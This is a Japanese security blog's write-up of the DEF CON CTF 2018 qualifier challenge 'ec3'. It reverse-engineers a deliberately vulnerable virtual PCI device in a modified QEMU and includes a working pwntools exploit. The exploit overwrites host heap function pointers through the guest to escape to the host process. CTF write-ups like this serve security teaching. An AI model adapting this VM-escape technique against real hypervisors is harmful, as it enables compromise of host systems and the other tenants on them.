Security blog by Ierae Security,Inc.

脆弱性診断技術や関連情報を発信するブログメディア

DEF CON CTF Quals 2018 Write-up: ec3 – 仮想PCIデバイスを利用したHeap Spraying

はじめに

イエラエセキュリティの中の人1号です。
2018/05/12-14にオンラインで開催された今年のDEF CON CTF 予選にチームbinjaのメンバーとして参加したので、予選で出された問題の中からec3という問題を紹介します。

binjaはフルタイムのエンジニアや学生など数十人からなる有志個人の集まりで、弊社のチームではありませんが、メンバーのうち私含め数名が弊社の所属です。
今回の予選でbinjaは14位に入りDEF CON CTF 2018の本戦に進出することになりました。

問題の内容

タイトルと問題文は次の通りです。


> elastic cloud compute (memory) corruption
>
> we have created a simple way to proivision virtual machines with some extra PCI Devices to aid us


(引用: https://github.com/o-o-overflow/chall-ec-3/blob/de0e64563fc9890ce81bfe5fe107afb107d719b7/info.yaml)

問題文と共に、qemuの実行環境一式を固めたアーカイブと、そのqemuが動作しているサーバーの接続先情報が提供されました。
qemuはこの問題のために一部改造されたもので、提供されたqemuをローカルで解析してフラグを得る方法を開発した後に、開発した手法をリモートのサーバーで実践してフラグを得るような問題です。

(提供されたファイル: https://github.com/o-o-overflow/chall-ec-3/tree/de0e64563fc9890ce81bfe5fe107afb107d719b7/public_files)

怪しいPCIデバイス

提供されたqemuを起動すると、Linuxが起動してbashが実行されます。

PCIデバイスがどうとか問題文で言っているので、lspciでPCIデバイスを列挙すると次のようになります。


00:00.0 Class 0600: 8086:1237
00:01.0 Class 0601: 8086:7000
00:01.1 Class 0101: 8086:7010
00:01.3 Class 0680: 8086:7113
00:02.0 Class 0300: 1234:1111
00:03.0 Class 0200: 8086:100e
00:04.0 Class 00ff: 0420:1337

BusyBoxのlspciなので出力が味気ないですが、Vendor IDとProduct IDに着目して怪しいデバイスを探します。0x8086はIntelのVendor IDなので、8086:XXXXで終わる列は、Intelのデバイスを模した仮想デバイスだろうと考えられます。パッと見で1234:1111が目を引きますが、これはQEMUのVGAデバイスのようです。残るは0420:1337になりますが、Classが00ff(デバイス種別不明)であることと、Product IDが1337(leet)であることから、これが明らかに怪しいです。

次に、IDA Proを使って、qemuの実行ファイルを0x1337で即値検索すると、関数sub_6E67DEが唯一ヒットします。ここまでの流れから、この関数がqemu環境に仮想デバイス0420:1337を追加していると見当をつけて、QEMUで仮想デバイスを追加するソースコード例を調べると、次の例が見つかります。

QEMU educational PCI device https://github.com/qemu/qemu/blob/v2.12.0/hw/misc/edu.c

sub_6E67DEはこのソースコード中のedu_class_initに相当する関数のようです。仮想デバイス追加の基本的な手順はどのデバイスでも同じでしょうから、このソースコードと似た構造であろうと見当をつけて参考にしながらqemuの実行コードを追っていくと、このデバイスはMMIOでゲストと通信できて、MMIOのreadハンドラとwriteハンドラがそれぞれ関数sub_6E613Cとsub_6E61F4であるということが分かります。readハンドラとwriteハンドラを説明のためにC言語文法でデコンパイルすると次のようになります。変数名は筆者が後付で一部命名しました。

writeハンドラ:


__int64 __fastcall ooo_mmio_write(void *opaque, unsigned __int64 addr, unsigned __int64 val, unsigned int size)
{
……


  _addr = addr;
  *(_QWORD *)&n[4] = val;
  v15 = opaque;
  command = (addr & 0xF00000) >> 20;
  result = command;
  switch ( command )
  {
    case 1u:
      free(allocated_heaps[(_addr & 0xF0000) >> 16]);
      break;
    case 2u:
      heapidx_2 = (_addr & 0xF0000) >> 16;
      v10 = _addr;
      result = (__int64)memcpy((char *)allocated_heaps[heapidx_2] + (signed __int16)_addr, &n[4], size);
      break;
    case 0u:
      result = (_addr & 0xF0000) >> 16;
      heapidx_0 = (_addr & 0xF0000) >> 16;
      if ( heapidx_0 == 15 )
      {
        for ( i = 0; i <= 14; ++i )
        {
          v5 = malloc(8LL * *(_QWORD *)&n[4]);
          result = i;
          allocated_heaps[i] = v5;
        }
      }
      else
      {
        v6 = malloc(8LL * *(_QWORD *)&n[4]);
        result = (signed int)heapidx_0;
        allocated_heaps[heapidx_0] = v6;
      }
      break;
  }
  return result;
}

readハンドラ


__int64 __fastcall ooo_mmio_read(void *opaque, unsigned __int64 addr, unsigned int value)
{
……

  v5 = 0x42069LL;
  heapidx = (addr & 0xF0000) >> 16;
  if ( (addr & 0xF00000) >> 20 != 15 && allocated_heaps[heapidx] )
    memcpy(&v5, (char *)allocated_heaps[heapidx] + (signed __int16)addr, value);
  return v5;
}

つまるところ、この仮想デバイスは、MMIOを通じたゲストからの要求に従ってホスト(qemuプロセス)で制約付きのmalloc()/free()呼び出しと、malloc()で確保した領域に対してのメモリ読み書きをやらせてくれるデバイスと言えます。

フラグ出力関数

qemuの実行ファイルをflagやoooといった文字列で検索すると、次に示す関数sub_6E65F9が見つかります。


.text:00000000006E65F9 sub_6E65F9      proc near
.text:00000000006E65F9
.text:00000000006E65F9 var_28          = qword ptr -28h
.text:00000000006E65F9 var_20          = qword ptr -20h
.text:00000000006E65F9 var_18          = qword ptr -18h
.text:00000000006E65F9 var_8           = qword ptr -8
.text:00000000006E65F9
.text:00000000006E65F9 ; __unwind {
.text:00000000006E65F9                 push    rbp
.text:00000000006E65FA                 mov     rbp, rsp
.text:00000000006E65FD                 sub     rsp, 30h
.text:00000000006E6601                 mov     [rbp+var_28], rdi
.text:00000000006E6605                 mov     rax, fs:28h
.text:00000000006E660E                 mov     [rbp+var_8], rax
.text:00000000006E6612                 xor     eax, eax
.text:00000000006E6614                 mov     edi, offset command ; "cat ./flag"
.text:00000000006E6619                 call    _system
.text:00000000006E661E                 mov     esi, eax
.text:00000000006E6620                 mov     edi, offset aD_10 ; "%d\n"
.text:00000000006E6625                 mov     eax, 0
.text:00000000006E662A                 call    _printf
…...

これがホストに置いてあるflagを出力してくれる関数なので、ゲストからどうにかしてqemuプロセスの命令ポインタをここに飛ばしてくれば勝ちのようです。

アプローチの検討

ホストでのmalloc()/free()呼び出しと一部のメモリ読み書きが可能なことと、問題名に”memory corruption”が入っていることから、作問者が意図した解法としては「ゲストからヒープ上のデータに細工をしつつmalloc()/free()を利用してメモリー上の任意アドレスへの書き込みを可能にし、ホストでフラグ出力関数を呼び出す」という類のものであろうと推測できます。
そのアプローチをチームメートにお願いしつつ、筆者は別アプローチでの解答を並列で試みることにしました。
Heap Sprayingによる関数ポインタの上書きです。

擬似コードを見ると分かるように、このデバイスのメモリ書き込み機能では確保した領域の範囲外や開放済みの領域にも書き込めます。また、書き込み先のオフセットに負値を渡せば、確保した領域の先頭よりも前の領域にも書き込めます。書き込み可能な範囲は確保した領域の先頭から前後0x8000に限られており、qemuの利用するメモリ全体の中でも一部分ですが、もし書き込み可能な範囲内にqemuが内部的に利用している適当な関数ポインタが転がっていて上書き後にそのポインタを利用してくれれば、フラグ出力関数が呼び出されます。

Heap Spraying

MMIOでデバイスと通信するには、メモリ上の特定の領域にデータを読み書きする必要があります。この領域の先頭はベースアドレスと呼ばれていて、ベースアドレスは各デバイスのBAR(Base Address Register)と呼ばれるデータ内に記述されています。このデバイスのBARは/sys/devices/pci0000:00/0000:00:04.0/configから確認でき、0xfb000000がベースアドレスであることが判明しました。物理メモリへの書き込みにはdevmemコマンドを使うこととしました。

適切に関数ポインタを上書きしてqemuに踏んでもらえるように、書き込み先などの調整をしばらく繰り返した後、次のようなコードでフラグが得られました。


from pwn import *
from pow import solve_pow
import re
import random
import time

context(os='linux', arch='amd64')

REMOTE = ("11d9f496.quals2018.oooverflow.io", 31337)

def run_and_wait(conn, cmd):
    conn.sendline(cmd)
    return conn.recvuntil('/ #')[:-3]

def pow(conn):
    hello = conn.recvuntil('Solution: \n')
    chal = hello.split('Challenge: ')[1].split('\n')[0]
    n = int(hello.split('n: ')[1].split('\n')[0])

    sol = solve_pow(chal, n)
    conn.sendline(str(sol))

def recvuntil_flagcheck(conn, pat):
    data = ''
    while pat not in data:
        data += conn.recv(1)
        if re.search('OOO\{.*\}', data):
            print('[!] FLAG???')
            print(data)
            raw_input()

    return data

while True:
    try:
        conn = remote(*REMOTE)
        pow(conn)

        resp = conn.recvuntil('/ #')
        print('[*] boot end')

        while True:
            run_and_wait(conn, 'mount -t devtmpfs udev /dev/')
            run_and_wait(conn, 'devmem 0xfb000000 8 1')

            base = 0xfb008000 + 0x2000 * random.randint(0, 0x03)
            conn.sendline("for i in `seq 0x{0:08x} 8 0x{1:08x}`".format(base, base+0x2000))
            conn.recvuntil('> ')
            conn.sendline("do")
            conn.recvuntil('> ')
            conn.sendline("devmem $i 64 | grep -E '0x0000000000[4-A].....' && devmem $(expr $i + 2097152) 64 0x6E65F9")
            conn.recvuntil('> ')
            ptrs = run_and_wait(conn, "done")
            print('[*] found pointers')
            print(ptrs)

            print('[*] reboot start')
            conn.sendline('reboot -f')
            recvuntil_flagcheck(conn, '/ #')
            print('[*] reboot end')
    except EOFError:
        print('[!] disconnected')
        time.sleep(3)

このコードでは、ヒープ上の関数ポインタっぽい値(範囲がざっくりqemuの.text領域内にある値)をフラグ出力関数のアドレスで書き換え、強制再起動で踏ませます。このコードを実行すると、数回の再起動の内に、次のような出力が出てフラグを得られました。


[+] Opening connection to 11d9f496.quals2018.oooverflow.io on port 31337: Done
[*] boot end
[*] found pointers
done
0x000000000047CBE2
0x000000000047CB00
0x000000000047CA96

[*] reboot start
[*] reboot end
[*] found pointers
done

[*] reboot start
[*] reboot end
[*] found pointers
done
0x0000000000A359C0
0x000000000047C793

[*] reboot start
[!] FLAG???
 reboot -f
[   33.953876] reboot: Restarting system
[   33.959386] reboot: machine restart
OOO{did you know that the cloud is safe}